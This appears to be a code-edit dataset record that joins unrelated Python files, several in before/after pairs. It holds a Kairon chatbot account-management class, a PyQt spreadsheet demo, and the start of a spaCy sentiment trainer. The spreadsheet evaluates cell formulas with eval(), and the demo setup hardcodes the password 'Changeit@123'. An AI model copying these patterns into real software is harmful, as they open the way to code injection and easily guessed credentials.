AccountProcessor.allow_access_to_bot(bot["_id"].__str__(), account_setup.get("email"),
account_setup.get("email"), account['_id'],
ACCESS_ROLES.ADMIN.value, ACTIVITY_STATUS.ACTIVE.value)
await MongoProcessor().save_from_path(
"template/use-cases/Hi-Hello", bot["_id"].__str__(), user="sysadmin"
)
if email_enabled:
token = Utility.generate_token(account_setup.get("email"))
link = Utility.email_conf["app"]["url"] + '/verify/' + token
mail_to = account_setup.get("email")
except Exception as e:
if account and "_id" in account:
Account.objects().get(id=account["_id"]).delete()
if bot and "_id" in bot:
Bot.objects().get(id=bot["_id"]).delete()
raise e
return user_details, mail_to, link
@staticmethod
async def default_account_setup():
"""
default account for testing/demo purposes
:return: user details
:raises: if account already exist
"""
account = {
"account": "DemoAccount",
"bot": "Demo",
"email": "test@demo.in",
"first_name": "Test_First",
"last_name": "Test_Last",
"password": SecretStr("Changeit@123"),
}
try:
user, mail, link = await AccountProcessor.account_setup(account, user="sysadmin")
return user, mail, link
except Exception as e:
logging.info(str(e))
@staticmethod
def load_system_properties():
try:
system_properties = SystemProperties.objects().get().to_mongo().to_dict()
except DoesNotExist:
mail_templates = MailTemplates(
password_reset=open('template/emails/passwordReset.html', 'r').read(),
password_reset_confirmation=open('template/emails/passwordResetConfirmation.html', 'r').read(),
verification=open('template/emails/verification.html', 'r').read(),
verification_confirmation=open('template/emails/verificationConfirmation.html', 'r').read(),
add_member_invitation=open('template/emails/memberAddAccept.html', 'r').read(),
add_member_confirmation=open('template/emails/memberAddConfirmation.html', 'r').read(),
password_generated=open('template/emails/passwordGenerated.html', 'r').read(),
)
system_properties = SystemProperties(mail_templates=mail_templates).save().to_mongo().to_dict()
Utility.email_conf['email']['templates']['verification'] = system_properties['mail_templates']['verification']
Utility.email_conf['email']['templates']['verification_confirmation'] = system_properties['mail_templates']['verification_confirmation']
Utility.email_conf['email']['templates']['password_reset'] = system_properties['mail_templates']['password_reset']
Utility.email_conf['email']['templates']['password_reset_confirmation'] = system_properties['mail_templates']['password_reset_confirmation']
Utility.email_conf['email']['templates']['add_member_invitation'] = system_properties['mail_templates']['add_member_invitation']
Utility.email_conf['email']['templates']['add_member_confirmation'] = system_properties['mail_templates']['add_member_confirmation']
Utility.email_conf['email']['templates']['password_generated'] = system_properties['mail_templates']['password_generated']
@staticmethod
async def confirm_email(token: str):
"""
Confirms the user through link and updates the database
:param token: the token from link
:return: mail id, subject of mail, body of mail
"""
email_confirm = Utility.verify_token(token)
Utility.is_exist(
UserEmailConfirmation,
exp_message="Email already confirmed!",
email__iexact=email_confirm.strip(),
)
confirm = UserEmailConfirmation()
confirm.email = email_confirm
confirm.save()
user = AccountProcessor.get_user(email_confirm)
return email_confirm, user['first_name']
@staticmethod
def is_user_confirmed(email: str):
"""
Checks if user is verified and raises an Exception if not
:param email: mail id of user
:return: None
"""
if not Utility.is_exist(UserEmailConfirmation, email__iexact=email.strip(), raise_error=False):
raise AppException("Please verify your mail")
@staticmethod
def check_email_confirmation(email: str):
"""
Checks if the account is verified through mail
:param email: email of the user
:return: None
"""
email_enabled = Utility.email_conf["email"]["enable"]
if email_enabled:
AccountProcessor.is_user_confirmed(email)
@staticmethod
async def send_reset_link(mail: str):
"""
Sends a password reset link to the mail id
:param mail: email id of the user
:return: mail id, mail subject, mail body
"""
email_enabled = Utility.email_conf["email"]["enable"]
if email_enabled:
if isinstance(mail_check(mail), ValidationFailure):
raise AppException("Please enter valid email id")
if not Utility.is_exist(User, email__iexact=mail.strip(), raise_error=False):
raise AppException("Error! There is no user with the following mail id")
if not Utility.is_exist(UserEmailConfirmation, email__iexact=mail.strip(), raise_error=False):
raise AppException("Error! The following user's mail is not verified")
token = Utility.generate_token(mail)
user = AccountProcessor.get_user(mail)
link = Utility.email_conf["app"]["url"] + '/reset_password/' + token
return mail, user['first_name'], link
else:
raise AppException("Error! Email verification is not enabled")
@staticmethod
async def overwrite_password(token: str, password: str):
"""
Changes the user's password
:param token: unique token from the password reset page
:param password: new password entered by the user
:return: mail id, mail subject and mail body
"""
if Utility.check_empty_string(password):
raise AppException("password cannot be empty or blank")
email = Utility.verify_token(token)
user = User.objects().get(email=email)
user.password = Utility.get_password_hash(password.strip())
user.user = email
user.password_changed = datetime.utcnow
user.save()
return email, user.first_name
@staticmethod
async def send_confirmation_link(mail: str):
"""
Sends a link to the user's mail id for account verification
:param mail: the mail id of the user
:return: mail id, mail subject and mail body
"""
email_enabled = Utility.email_conf["email"]["enable"]
if email_enabled:
if isinstance(mail_check(mail), ValidationFailure):
raise AppException("Please enter valid email id")
Utility.is_exist(UserEmailConfirmation, exp_message="Email already confirmed!", email__iexact=mail.strip())
if not Utility.is_exist(User, email__iexact=mail.strip(), raise_error=False):
raise AppException("Error! There is no user with the following mail id")
user = AccountProcessor.get_user(mail)
token = Utility.generate_token(mail)
link = Utility.email_conf["app"]["url"] + '/verify/' + token
return mail, user['first_name'], link
else:
raise AppException("Error! Email verification is not enabled")
@staticmethod
def add_feedback(rating: float, user: str, scale: float = 5.0, feedback: str = None):
"""
Add user feedback.
@param rating: user given rating.
@param user: Kairon username.
@param scale: Scale on which rating is given. %.0 is the default value.
@param feedback: feedback if any.
@return:
"""
Feedback(rating=rating, scale=scale, feedback=feedback, user=user).save()
@staticmethod
def update_ui_config(config: dict, user: str):
"""
Adds UI configuration such as themes, layout type, flags for stepper
to render UI components based on it.
@param config: UI configuration to save.
@param user: username
"""
try:
ui_config = UiConfig.objects(user=user).get()
except DoesNotExist:
ui_config = UiConfig(user=user)
ui_config.config = config
ui_config.save()
@staticmethod
def get_ui_config(user: str):
"""
Retrieves UI configuration such as themes, layout type, flags for stepper
to render UI components based on it.
@param user: username
"""
try:
ui_config = UiConfig.objects(user=user).get()
config = ui_config.config
except DoesNotExist:
config = {}
AccountProcessor.update_ui_config(config, user)
return config
| from datetime import datetime
from typing import Dict, Text
from loguru import logger as logging
from mongoengine.errors import DoesNotExist
from mongoengine.errors import ValidationError
from pydantic import SecretStr
from validators import ValidationFailure
from validators import email as mail_check
from kairon.exceptions import AppException
from kairon.shared.account.data_objects import Account, User, Bot, UserEmailConfirmation, Feedback, UiConfig, \
MailTemplates, SystemProperties, BotAccess
from kairon.shared.actions.data_objects import FormValidationAction, SlotSetAction, EmailActionConfig
from kairon.shared.data.constant import ACCESS_ROLES, ACTIVITY_STATUS
from kairon.shared.data.data_objects import BotSettings, ChatClientConfig, SlotMapping
from kairon.shared.utils import Utility
Utility.load_email_configuration()
class AccountProcessor:
@staticmethod
def add_account(name: str, user: str):
"""
adds a new account
:param name: account name
:param user: user id
:return: account id
"""
if Utility.check_empty_string(name):
raise AppException("Account Name cannot be empty or blank spaces")
Utility.is_exist(
Account,
exp_message="Account name already exists!",
name__iexact=name,
status=True,
)
license = {"bots": 2, "intents": 3, "examples": 20, "training": 3, "augmentation": 5}
return Account(name=name.strip(), user=user, license=license).save().to_mongo().to_dict()
@staticmethod
def get_account(account: int):
"""
fetch account object
:param account: account id
:return: account details
"""
try:
account = Account.objects().get(id=account).to_mongo().to_dict()
return account
except:
raise DoesNotExist("Account does not exists")
@staticmethod
def add_bot(name: str, account: int, user: str, is_new_account: bool = False):
"""
add a bot to account
:param name: bot name
:param account: account id
:param user: user id
:param is_new_account: True if it is a new account
:return: bot id
"""
from kairon.shared.data.processor import MongoProcessor
from kairon.shared.data.data_objects import BotSettings
if Utility.check_empty_string(name):
raise AppException("Bot Name cannot be empty or blank spaces")
if Utility.check_empty_string(user):
raise AppException("user cannot be empty or blank spaces")
Utility.is_exist(
Bot,
exp_message="Bot already exists!",
name__iexact=name,
account=account,
status=True,
)
bot = Bot(name=name, account=account, user=user).save().to_mongo().to_dict()
bot_id = bot['_id'].__str__()
if not is_new_account:
AccountProcessor.allow_access_to_bot(bot_id, user, user, account, ACCESS_ROLES.ADMIN.value, ACTIVITY_STATUS.ACTIVE.value)
BotSettings(bot=bot_id, user=user).save()
processor = MongoProcessor()
config = processor.load_config(bot_id)
processor.add_or_overwrite_config(config, bot_id, user)
processor.add_default_fallback_data(bot_id, user, True, True)
return bot
@staticmethod
def list_bots(account_id: int):
for bot in Bot.objects(account=account_id, status=True):
bot = bot.to_mongo().to_dict()
bot.pop('status')
bot['_id'] = bot['_id'].__str__()
yield bot
@staticmethod
def update_bot(name: Text, bot: Text):
if Utility.check_empty_string(name):
raise AppException('Name cannot be empty')
try:
bot_info = Bot.objects(id=bot, status=True).get()
bot_info.name = name
bot_info.save()
except DoesNotExist:
raise AppException('Bot not found')
@staticmethod
def delete_bot(bot: Text, user: Text):
from kairon.shared.data.data_objects import Intents, Responses, Stories, Configs, Endpoints, Entities, \
EntitySynonyms, Forms, LookupTables, ModelDeployment, ModelTraining, RegexFeatures, Rules, SessionConfigs, \
Slots, TrainingDataGenerator, TrainingExamples
from kairon.shared.test.data_objects import ModelTestingLogs
from kairon.shared.importer.data_objects import ValidationLogs
from kairon.shared.actions.data_objects import HttpActionConfig, ActionServerLogs, Actions
try:
bot_info = Bot.objects(id=bot, status=True).get()
bot_info.status = False
bot_info.save()
Utility.hard_delete_document([
Actions, BotAccess, BotSettings, Configs, ChatClientConfig, Endpoints, Entities, EmailActionConfig,
EntitySynonyms, Forms, FormValidationAction, HttpActionConfig, Intents, LookupTables, RegexFeatures,
Responses, Rules, SlotMapping, SlotSetAction, SessionConfigs, Slots, Stories, TrainingDataGenerator,
TrainingExamples, ActionServerLogs, ModelTraining, ModelTestingLogs, ModelDeployment, ValidationLogs
], bot, user=user)
AccountProcessor.remove_bot_access(bot)
except DoesNotExist:
raise AppException('Bot not found')
@staticmethod
def fetch_role_for_user(email: Text, bot: Text):
try:
return BotAccess.objects(accessor_email=email, bot=bot,
status=ACTIVITY_STATUS.ACTIVE.value).get().to_mongo().to_dict()
except DoesNotExist as e:
logging.error(e)
raise AppException('Access to bot is denied')
@staticmethod
def get_accessible_bot_details(account_id: int, email: Text):
shared_bots = []
account_bots = list(AccountProcessor.list_bots(account_id))
for bot in BotAccess.objects(accessor_email=email, bot_account__ne=account_id,
status=ACTIVITY_STATUS.ACTIVE.value):
bot_details = AccountProcessor.get_bot(bot['bot'])
bot_details.pop('status')
bot_details['_id'] = bot_details['_id'].__str__()
shared_bots.append(bot_details)
return {
'account_owned': account_bots,
'shared': shared_bots
}
@staticmethod
def allow_bot_and_generate_invite_url(bot: Text, email: Text, user: Text, bot_account: int,
role: ACCESS_ROLES = ACCESS_ROLES.TESTER.value):
bot_details = AccountProcessor.allow_access_to_bot(bot, email, user, bot_account, role)
if Utility.email_conf["email"]["enable"]:
token = Utility.generate_token(email)
link = f'{Utility.email_conf["app"]["url"]}/{bot}/invite/accept/{token}'
return bot_details['name'], link
@staticmethod
def allow_access_to_bot(bot: Text, accessor_email: Text, user: Text,
bot_account: int, role: ACCESS_ROLES = ACCESS_ROLES.TESTER.value,
activity_status: ACTIVITY_STATUS = ACTIVITY_STATUS.INVITE_NOT_ACCEPTED.value):
"""
Adds bot to a user account.
:param bot: bot id
:param accessor_email: email id of the new member
:param user: user adding the new member
:param bot_account: account where bot exists
:param activity_status: can be one of active, inactive or deleted.
:param role: can be one of admin, designer or tester.
"""
bot_details = AccountProcessor.get_bot(bot)
Utility.is_exist(BotAccess, 'User is already a collaborator', accessor_email=accessor_email, bot=bot,
status__ne=ACTIVITY_STATUS.DELETED.value)
BotAccess(
accessor_email=accessor_email,
bot=bot,
role=role,
user=user,
bot_account=bot_account,
status=activity_status
).save()
return bot_details
@staticmethod
def update_bot_access(bot: Text, accessor_email: Text, user: Text,
role: ACCESS_ROLES = ACCESS_ROLES.TESTER.value,
status: ACTIVITY_STATUS = ACTIVITY_STATUS.ACTIVE.value):
"""
Adds bot to a user account.
:param bot: bot id
:param accessor_email: email id of the new member
:param user: user adding the new member
:param role: can be one of admin, designer or tester.
:param status: can be one of active, inactive or deleted.
"""
AccountProcessor.get_bot(bot)
try:
bot_access = BotAccess.objects(accessor_email=accessor_email, bot=bot).get()
if Utility.email_conf["email"]["enable"]:
if status != ACTIVITY_STATUS.DELETED.value and bot_access.status == ACTIVITY_STATUS.INVITE_NOT_ACCEPTED.value:
raise AppException('User is yet to accept the invite')
bot_access.role = role
bot_access.user = user
bot_access.status = status
bot_access.timestamp = datetime.utcnow()
bot_access.save()
except DoesNotExist:
raise AppException('User not yet invited to collaborate')
@staticmethod
def accept_bot_access_invite(token: Text, bot: Text):
"""
Activate user's access to bot.
:param token: token sent in the link
:param bot: bot id
"""
bot_details = AccountProcessor.get_bot(bot)
accessor_email = Utility.verify_token(token)
AccountProcessor.get_user_details(accessor_email)
try:
bot_access = BotAccess.objects(accessor_email=accessor_email, bot=bot,
status=ACTIVITY_STATUS.INVITE_NOT_ACCEPTED.value).get()
bot_access.status = ACTIVITY_STATUS.ACTIVE.value
bot_access.accept_timestamp = datetime.utcnow()
bot_access.save()
return bot_access.user, bot_details['name'], bot_access.accessor_email, bot_access.role
except DoesNotExist:
raise AppException('No pending invite found for this bot and user')
@staticmethod
def remove_bot_access(bot: Text, **kwargs):
"""
Removes bot from either for all users or only for user supplied.
:param bot: bot id
:param kwargs: can be either account or email.
"""
if kwargs:
if not Utility.is_exist(BotAccess, None, False, **kwargs, bot=bot, status__ne=ACTIVITY_STATUS.DELETED.value):
raise AppException('User not a collaborator to this bot')
active_bot_access = BotAccess.objects(**kwargs, bot=bot, status__ne=ACTIVITY_STATUS.DELETED.value)
else:
active_bot_access = BotAccess.objects(bot=bot, status__ne=ACTIVITY_STATUS.DELETED.value)
active_bot_access.update(set__status=ACTIVITY_STATUS.DELETED.value)
@staticmethod
def list_bot_accessors(bot: Text):
"""
List users who have access to bot.
:param bot: bot id
"""
for accessor in BotAccess.objects(bot=bot, status__ne=ACTIVITY_STATUS.DELETED.value):
accessor = accessor.to_mongo().to_dict()
accessor['_id'] = accessor['_id'].__str__()
yield accessor
@staticmethod
def get_bot(id: str):
"""
fetches bot details
:param id: bot id
:return: bot details
"""
try:
return Bot.objects().get(id=id).to_mongo().to_dict()
except:
raise DoesNotExist("Bot does not exists!")
@staticmethod
def add_user(
email: str,
password: str,
first_name: str,
last_name: str,
account: int,
user: str,
is_integration_user=False
):
"""
adds new user to the account
:param email: user login id
:param password: user password
:param first_name: user firstname
:param last_name: user lastname
:param account: account id
:param user: user id
:param is_integration_user: is this
:return: user details
"""
if (
Utility.check_empty_string(email)
or Utility.check_empty_string(last_name)
or Utility.check_empty_string(first_name)
or Utility.check_empty_string(password)
):
raise AppException(
"Email, FirstName, LastName and password cannot be empty or blank spaces"
)
Utility.is_exist(
User,
exp_message="User already exists! try with different email address.",
email__iexact=email.strip(),
status=True,
)
return (
User(
email=email.strip(),
password=Utility.get_password_hash(password.strip()),
first_name=first_name.strip(),
last_name=last_name.strip(),
account=account,
user=user.strip(),
is_integration_user=is_integration_user,
)
.save()
.to_mongo()
.to_dict()
)
@staticmethod
def get_user(email: str):
"""
fetch user details
:param email: user login id
:return: user details
"""
try:
return User.objects().get(email=email).to_mongo().to_dict()
except Exception as e:
logging.error(e)
raise DoesNotExist("User does not exist!")
@staticmethod
def get_user_details(email: str):
"""
fetches complete user details, checks for whether it is inactive
:param email: login id
:return: dict
"""
user = AccountProcessor.get_user(email)
if not user["is_integration_user"]:
AccountProcessor.check_email_confirmation(user["email"])
if not user["status"]:
raise ValidationError("Inactive User please contact admin!")
account = AccountProcessor.get_account(user["account"])
if not account["status"]:
raise ValidationError("Inactive Account Please contact system admin!")
return user
@staticmethod
def get_complete_user_details(email: str):
"""
fetches complete user details including account and bot
:param email: login id
:return: dict
"""
user = AccountProcessor.get_user(email)
account = AccountProcessor.get_account(user["account"])
bots = AccountProcessor.get_accessible_bot_details(user["account"], email)
user["account_name"] = account["name"]
user['bots'] = bots
user["_id"] = user["_id"].__str__()
user.pop('password')
return user
@staticmethod
def get_integration_user(bot: str, account: int):
"""
creates integration user if it does not exist
:param bot: bot id
:param account: account id
:return: dict
"""
email = f"{bot}@integration.com"
if not Utility.is_exist(
User, raise_error=False, email=email, is_integration_user=True, status=True
):
password = Utility.generate_password()
user_details = AccountProcessor.add_user(
email=email,
password=password,
first_name=bot,
last_name=bot,
account=account,
user="auto_gen",
is_integration_user=True,
)
AccountProcessor.allow_access_to_bot(bot, email.strip(), "auto_gen", account,
ACCESS_ROLES.ADMIN.value, ACTIVITY_STATUS.ACTIVE.value)
return user_details
else:
return (
User.objects(email=email).get(is_integration_user=True).to_mongo().to_dict()
)
@staticmethod
async def account_setup(account_setup: Dict, user: Text):
"""
create new account
:param account_setup: dict of account details
:param user: user id
:return: dict user details, user email id, confirmation mail subject, mail body
"""
from kairon.shared.data.processor import MongoProcessor
account = None
bot = None
mail_to = None
email_enabled = Utility.email_conf["email"]["enable"]
link = None
try:
account = AccountProcessor.add_account(account_setup.get("account"), user)
bot = AccountProcessor.add_bot('Hi-Hello', account["_id"], user, True)
user_details = AccountProcessor.add_user(
email=account_setup.get("email"),
first_name=account_setup.get("first_name"),
last_name=account_setup.get("last_name"),
password=account_setup.get("password").get_secret_value(),
account=account["_id"].__str__(),
user=user
)
AccountProcessor.allow_access_to_bot(bot["_id"].__str__(), account_setup.get("email"),
account_setup.get("email"), account['_id'],
ACCESS_ROLES.ADMIN.value, ACTIVITY_STATUS.ACTIVE.value)
await MongoProcessor().save_from_path(
"template/use-cases/Hi-Hello", bot["_id"].__str__(), user="sysadmin"
)
if email_enabled:
token = Utility.generate_token(account_setup.get("email"))
link = Utility.email_conf["app"]["url"] + '/verify/' + token
mail_to = account_setup.get("email")
except Exception as e:
if account and "_id" in account:
Account.objects().get(id=account["_id"]).delete()
if bot and "_id" in bot:
Bot.objects().get(id=bot["_id"]).delete()
raise e
return user_details, mail_to, link
@staticmethod
async def default_account_setup():
"""
default account for testing/demo purposes
:return: user details
:raises: if account already exist
"""
account = {
"account": "DemoAccount",
"bot": "Demo",
"email": "test@demo.in",
"first_name": "Test_First",
"last_name": "Test_Last",
"password": SecretStr("Changeit@123"),
}
try:
user, mail, link = await AccountProcessor.account_setup(account, user="sysadmin")
return user, mail, link
except Exception as e:
logging.info(str(e))
@staticmethod
def load_system_properties():
try:
system_properties = SystemProperties.objects().get().to_mongo().to_dict()
except DoesNotExist:
mail_templates = MailTemplates(
password_reset=open('template/emails/passwordReset.html', 'r').read(),
password_reset_confirmation=open('template/emails/passwordResetConfirmation.html', 'r').read(),
verification=open('template/emails/verification.html', 'r').read(),
verification_confirmation=open('template/emails/verificationConfirmation.html', 'r').read(),
add_member_invitation=open('template/emails/memberAddAccept.html', 'r').read(),
add_member_confirmation=open('template/emails/memberAddConfirmation.html', 'r').read(),
password_generated=open('template/emails/passwordGenerated.html', 'r').read(),
)
system_properties = SystemProperties(mail_templates=mail_templates).save().to_mongo().to_dict()
Utility.email_conf['email']['templates']['verification'] = system_properties['mail_templates']['verification']
Utility.email_conf['email']['templates']['verification_confirmation'] = system_properties['mail_templates']['verification_confirmation']
Utility.email_conf['email']['templates']['password_reset'] = system_properties['mail_templates']['password_reset']
Utility.email_conf['email']['templates']['password_reset_confirmation'] = system_properties['mail_templates']['password_reset_confirmation']
Utility.email_conf['email']['templates']['add_member_invitation'] = system_properties['mail_templates']['add_member_invitation']
Utility.email_conf['email']['templates']['add_member_confirmation'] = system_properties['mail_templates']['add_member_confirmation']
Utility.email_conf['email']['templates']['password_generated'] = system_properties['mail_templates']['password_generated']
@staticmethod
async def confirm_email(token: str):
"""
Confirms the user through link and updates the database
:param token: the token from link
:return: mail id, subject of mail, body of mail
"""
email_confirm = Utility.verify_token(token)
Utility.is_exist(
UserEmailConfirmation,
exp_message="Email already confirmed!",
email__iexact=email_confirm.strip(),
)
confirm = UserEmailConfirmation()
confirm.email = email_confirm
confirm.save()
user = AccountProcessor.get_user(email_confirm)
return email_confirm, user['first_name']
@staticmethod
def is_user_confirmed(email: str):
"""
Checks if user is verified and raises an Exception if not
:param email: mail id of user
:return: None
"""
if not Utility.is_exist(UserEmailConfirmation, email__iexact=email.strip(), raise_error=False):
raise AppException("Please verify your mail")
@staticmethod
def check_email_confirmation(email: str):
"""
Checks if the account is verified through mail
:param email: email of the user
:return: None
"""
email_enabled = Utility.email_conf["email"]["enable"]
if email_enabled:
AccountProcessor.is_user_confirmed(email)
@staticmethod
async def send_reset_link(mail: str):
"""
Sends a password reset link to the mail id
:param mail: email id of the user
:return: mail id, mail subject, mail body
"""
email_enabled = Utility.email_conf["email"]["enable"]
if email_enabled:
if isinstance(mail_check(mail), ValidationFailure):
raise AppException("Please enter valid email id")
if not Utility.is_exist(User, email__iexact=mail.strip(), raise_error=False):
raise AppException("Error! There is no user with the following mail id")
if not Utility.is_exist(UserEmailConfirmation, email__iexact=mail.strip(), raise_error=False):
raise AppException("Error! The following user's mail is not verified")
token = Utility.generate_token(mail)
user = AccountProcessor.get_user(mail)
link = Utility.email_conf["app"]["url"] + '/reset_password/' + token
return mail, user['first_name'], link
else:
raise AppException("Error! Email verification is not enabled")
@staticmethod
async def overwrite_password(token: str, password: str):
"""
Changes the user's password
:param token: unique token from the password reset page
:param password: new password entered by the user
:return: mail id, mail subject and mail body
"""
if Utility.check_empty_string(password):
raise AppException("password cannot be empty or blank")
email = Utility.verify_token(token)
user = User.objects().get(email=email)
user.password = Utility.get_password_hash(password.strip())
user.user = email
user.password_changed = datetime.utcnow
user.save()
return email, user.first_name
@staticmethod
async def send_confirmation_link(mail: str):
"""
Sends a link to the user's mail id for account verification
:param mail: the mail id of the user
:return: mail id, mail subject and mail body
"""
email_enabled = Utility.email_conf["email"]["enable"]
if email_enabled:
if isinstance(mail_check(mail), ValidationFailure):
raise AppException("Please enter valid email id")
Utility.is_exist(UserEmailConfirmation, exp_message="Email already confirmed!", email__iexact=mail.strip())
if not Utility.is_exist(User, email__iexact=mail.strip(), raise_error=False):
raise AppException("Error! There is no user with the following mail id")
user = AccountProcessor.get_user(mail)
token = Utility.generate_token(mail)
link = Utility.email_conf["app"]["url"] + '/verify/' + token
return mail, user['first_name'], link
else:
raise AppException("Error! Email verification is not enabled")
@staticmethod
def add_feedback(rating: float, user: str, scale: float = 5.0, feedback: str = None):
"""
Add user feedback.
@param rating: user given rating.
@param user: Kairon username.
@param scale: Scale on which rating is given. %.0 is the default value.
@param feedback: feedback if any.
@return:
"""
Feedback(rating=rating, scale=scale, feedback=feedback, user=user).save()
@staticmethod
def update_ui_config(config: dict, user: str):
"""
Adds UI configuration such as themes, layout type, flags for stepper
to render UI components based on it.
@param config: UI configuration to save.
@param user: username
"""
try:
ui_config = UiConfig.objects(user=user).get()
except DoesNotExist:
ui_config = UiConfig(user=user)
ui_config.config = config
ui_config.save()
@staticmethod
def get_ui_config(user: str):
"""
Retrieves UI configuration such as themes, layout type, flags for stepper
to render UI components based on it.
@param user: username
"""
try:
ui_config = UiConfig.objects(user=user).get()
config = ui_config.config
except DoesNotExist:
config = {}
AccountProcessor.update_ui_config(config, user)
return config
|
#!/usr/bin/env python
import re
import sys
from collections import ChainMap
import math
from PyQt5.QtCore import Qt
from PyQt5.QtWidgets import (QApplication, QMainWindow, QTableWidget,
QTableWidgetItem, QItemDelegate, QLineEdit)
cellre = re.compile(r'\b[A-Z][0-9]\b')
def cellname(i, j):
return f'{chr(ord('A')+j)}{i+1}'
class SpreadSheetDelegate(QItemDelegate):
def __init__(self, parent=None):
super(SpreadSheetDelegate, self).__init__(parent)
def createEditor(self, parent, styleOption, index):
editor = QLineEdit(parent)
editor.editingFinished.connect(self.commitAndCloseEditor)
return editor
def commitAndCloseEditor(self):
editor = self.sender()
self.commitData.emit(editor)
self.closeEditor.emit(editor, QItemDelegate.NoHint)
def setEditorData(self, editor, index):
editor.setText(index.model().data(index, Qt.EditRole))
def setModelData(self, editor, model, index):
model.setData(index, editor.text())
class SpreadSheetItem(QTableWidgetItem):
def __init__(self, siblings):
super(SpreadSheetItem, self).__init__()
self.siblings = siblings
self.value = 0
self.deps = set()
self.reqs = set()
def formula(self):
return super().data(Qt.DisplayRole)
def data(self, role):
if role == Qt.EditRole:
return self.formula()
if role == Qt.DisplayRole:
return self.display()
return super(SpreadSheetItem, self).data(role)
def calculate(self):
formula = self.formula()
if formula is None or formula == '':
self.value = 0
return
currentreqs = set(cellre.findall(formula))
name = cellname(self.row(), self.column())
# Add this cell to the new requirement's dependents
for r in currentreqs - self.reqs:
self.siblings[r].deps.add(name)
# Add remove this cell from dependents no longer referenced
for r in self.reqs - currentreqs:
self.siblings[r].deps.remove(name)
# Look up the values of our required cells
reqvalues = {r: self.siblings[r].value for r in currentreqs}
# Build an environment with these values and basic math functions
environment = ChainMap(math.__dict__, reqvalues)
# Note that eval is DANGEROUS and should not be used in production
self.value = eval(formula, {}, environment)
self.reqs = currentreqs
def propagate(self):
for d in self.deps:
self.siblings[d].calculate()
self.siblings[d].propagate()
def display(self):
self.calculate()
self.propagate()
return str(self.value)
class SpreadSheet(QMainWindow):
def __init__(self, rows, cols, parent=None):
super(SpreadSheet, self).__init__(parent)
self.rows = rows
self.cols = cols
self.cells = {}
self.create_widgets()
def create_widgets(self):
table = self.table = QTableWidget(self.rows, self.cols, self)
headers = [chr(ord('A') + j) for j in range(self.cols)]
table.setHorizontalHeaderLabels(headers)
table.setItemDelegate(SpreadSheetDelegate(self))
for i in range(self.rows):
for j in range(self.cols):
cell = SpreadSheetItem(self.cells)
self.cells[cellname(i, j)] = cell
self.table.setItem(i, j, cell)
self.setCentralWidget(table)
if __name__ == '__main__':
app = QApplication(sys.argv)
sheet = SpreadSheet(5, 5)
sheet.resize(520, 200)
sheet.show()
sys.exit(app.exec_())
| #!/usr/bin/env python
import re
import sys
from collections import ChainMap
import math
from PyQt5.QtCore import Qt
from PyQt5.QtWidgets import (QApplication, QMainWindow, QTableWidget,
QTableWidgetItem, QItemDelegate, QLineEdit)
cellre = re.compile(r'\b[A-Z][0-9]\b')
def cellname(i, j):
return f'{chr(ord("A")+j)}{i+1}'
class SpreadSheetDelegate(QItemDelegate):
def __init__(self, parent=None):
super(SpreadSheetDelegate, self).__init__(parent)
def createEditor(self, parent, styleOption, index):
editor = QLineEdit(parent)
editor.editingFinished.connect(self.commitAndCloseEditor)
return editor
def commitAndCloseEditor(self):
editor = self.sender()
self.commitData.emit(editor)
self.closeEditor.emit(editor, QItemDelegate.NoHint)
def setEditorData(self, editor, index):
editor.setText(index.model().data(index, Qt.EditRole))
def setModelData(self, editor, model, index):
model.setData(index, editor.text())
class SpreadSheetItem(QTableWidgetItem):
def __init__(self, siblings):
super(SpreadSheetItem, self).__init__()
self.siblings = siblings
self.value = 0
self.deps = set()
self.reqs = set()
def formula(self):
return super().data(Qt.DisplayRole)
def data(self, role):
if role == Qt.EditRole:
return self.formula()
if role == Qt.DisplayRole:
return self.display()
return super(SpreadSheetItem, self).data(role)
def calculate(self):
formula = self.formula()
if formula is None or formula == '':
self.value = 0
return
currentreqs = set(cellre.findall(formula))
name = cellname(self.row(), self.column())
# Add this cell to the new requirement's dependents
for r in currentreqs - self.reqs:
self.siblings[r].deps.add(name)
# Add remove this cell from dependents no longer referenced
for r in self.reqs - currentreqs:
self.siblings[r].deps.remove(name)
# Look up the values of our required cells
reqvalues = {r: self.siblings[r].value for r in currentreqs}
# Build an environment with these values and basic math functions
environment = ChainMap(math.__dict__, reqvalues)
# Note that eval is DANGEROUS and should not be used in production
self.value = eval(formula, {}, environment)
self.reqs = currentreqs
def propagate(self):
for d in self.deps:
self.siblings[d].calculate()
self.siblings[d].propagate()
def display(self):
self.calculate()
self.propagate()
return str(self.value)
class SpreadSheet(QMainWindow):
def __init__(self, rows, cols, parent=None):
super(SpreadSheet, self).__init__(parent)
self.rows = rows
self.cols = cols
self.cells = {}
self.create_widgets()
def create_widgets(self):
table = self.table = QTableWidget(self.rows, self.cols, self)
headers = [chr(ord('A') + j) for j in range(self.cols)]
table.setHorizontalHeaderLabels(headers)
table.setItemDelegate(SpreadSheetDelegate(self))
for i in range(self.rows):
for j in range(self.cols):
cell = SpreadSheetItem(self.cells)
self.cells[cellname(i, j)] = cell
self.table.setItem(i, j, cell)
self.setCentralWidget(table)
if __name__ == '__main__':
app = QApplication(sys.argv)
sheet = SpreadSheet(5, 5)
sheet.resize(520, 200)
sheet.show()
sys.exit(app.exec_())
|
"""Structure for model trainer loosely taken from:
https://realpython.com/sentiment-analysis-python mainly for guide on spacy.
dataset used is from https://ai.stanford.edu/~amaas/data/sentiment/
using version 2.3.5 of spacy as version 3 includes api issues when trying to use en cor web sm
"""
import os
from random import shuffle
import spacy
import pickle
from spacy.util import minibatch, compounding
from spacy.tokenizer import Tokenizer
from spacy.pipeline import Morphologizer
import csv
def format_training_data(direc: str = "data/training/aclImdb/train") -> None:
"""
Loads the training data from file_directory and stores the data into a pickle file
Do not run if you have not downloaded and extracted the files from the downloadable tar.gz
Raw training data is not included in the repo as it aquirable from the link above
"""
reviews = []
# we have a folder of positive reviews and negative reviews so well do two iterations
for cat in ('pos', 'neg'):
# grabs each individual review (each review is stored in its own text file)
for review_direc in filter(lambda j: j[-4:] == '.txt', os.listdir(f'{direc}/{cat}')):
with open(f'{direc}/{cat}/{review_direc}', encoding="Latin-1") as f:
# cleans the text and cattegorizes it
reviews.append((f.read().replace('<br />', r'\n\n').strip(),
{'cats':{'pos': 'pos' == cat,'neg': 'neg' == cat}}))
with open('data/training/movie_reviews_data.pkl', 'wb') as f:
pickle.dump(reviews, f)
def shuffle_training_data(data: list, split: int = .8) -> tuple[list]:
"""
shuffles the data and separates it by split in order to have a
training dataset and a testing dataset. Default is a 4:1 split
as recommended
"""
shuffle(data)
return data[int(len(data) * split):], data[:int(len(data) * split)]
def grab_training_data(shuffle: bool = False, direc: str = 'data/training/movie_reviews_data.pkl') -> tuple[list]:
